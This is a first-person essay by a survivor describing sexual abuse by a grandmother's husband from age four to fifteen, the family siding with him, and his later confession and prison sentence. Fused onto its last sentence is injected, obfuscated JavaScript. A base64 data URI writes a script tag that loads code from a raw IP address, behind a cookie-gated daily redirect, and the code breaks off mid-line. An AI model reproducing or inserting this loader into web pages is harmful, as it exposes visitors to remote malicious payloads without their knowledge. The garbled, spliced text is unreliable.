A Little Dark Secret of My Life

by Juyuan

Just wanted to share with anyone who is interested in my life… I don’t remember much of my childhood years, those were sad moments for my family and especially for me. During those years growing up in poverty, and at about age four someone new came along and became a member of my family, my grandmother’s husband Braulio AKA “Lalo” I was so young when he entered my life and everyone else’s around me. But that same year one day, I became a sexual abuse victim. As a child I was sexually abused by “Lalo”. This went on from when I was 4 until I was 15. No one knew except my grandmother “Juanita”; she kept it a secret never telling a single soul. She was the 1st person I had ever told and I am so positive that she even knew before I had even told her about my situation.
I didn’t know what was going on during that time of my life, everything was so dark and confusing. I questioned God and myself. Why??? What is going on??? My whole childhood is a blur. I have very few happy memories of it, I tried to block everthing out. But somethimes I couldn’t, it was so hard but I had to protect the others around me. So about age 15 I; a shy quiet girl, broke out of my shell and screamed to the world that the new me was blossoming. I wasn’t going to let anything stand in my way. So by age 17, more confident than ever, I decided to write a letter written out to “Mommy”. I left it in my closet worried about what might happen next. By the 3rd day I returned from school I opened my closet door to find out my letter was gone. My heart started pounding as my life changed drastically. I lost my family due to this. They all believed Lalo and were on his side on the court date. But they found out that they were all wrong. Lalo testified and confessed to his crime and is now sentenced for 16 yrs in prison. He is in the corectional facilities in Corpus Christy awaiting for his due date to come back out. As that day approches the little left I have of my family (meaning;Mother, Father & Sisters) and I will stand strong and approach the courts once again to sentence him for another 16 to come. I will not stop until all abused victims have received justice for this type of crime. There are many people out there we may meet that we would never in our lives believe they were abused or are the abuser. This is a little part of my life I wanted to share with all of yah’ll. Don’t worry it’s in my past, and I may have no family but that won’t stop me. It will just make me a stronger person; living day by day with no worries. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘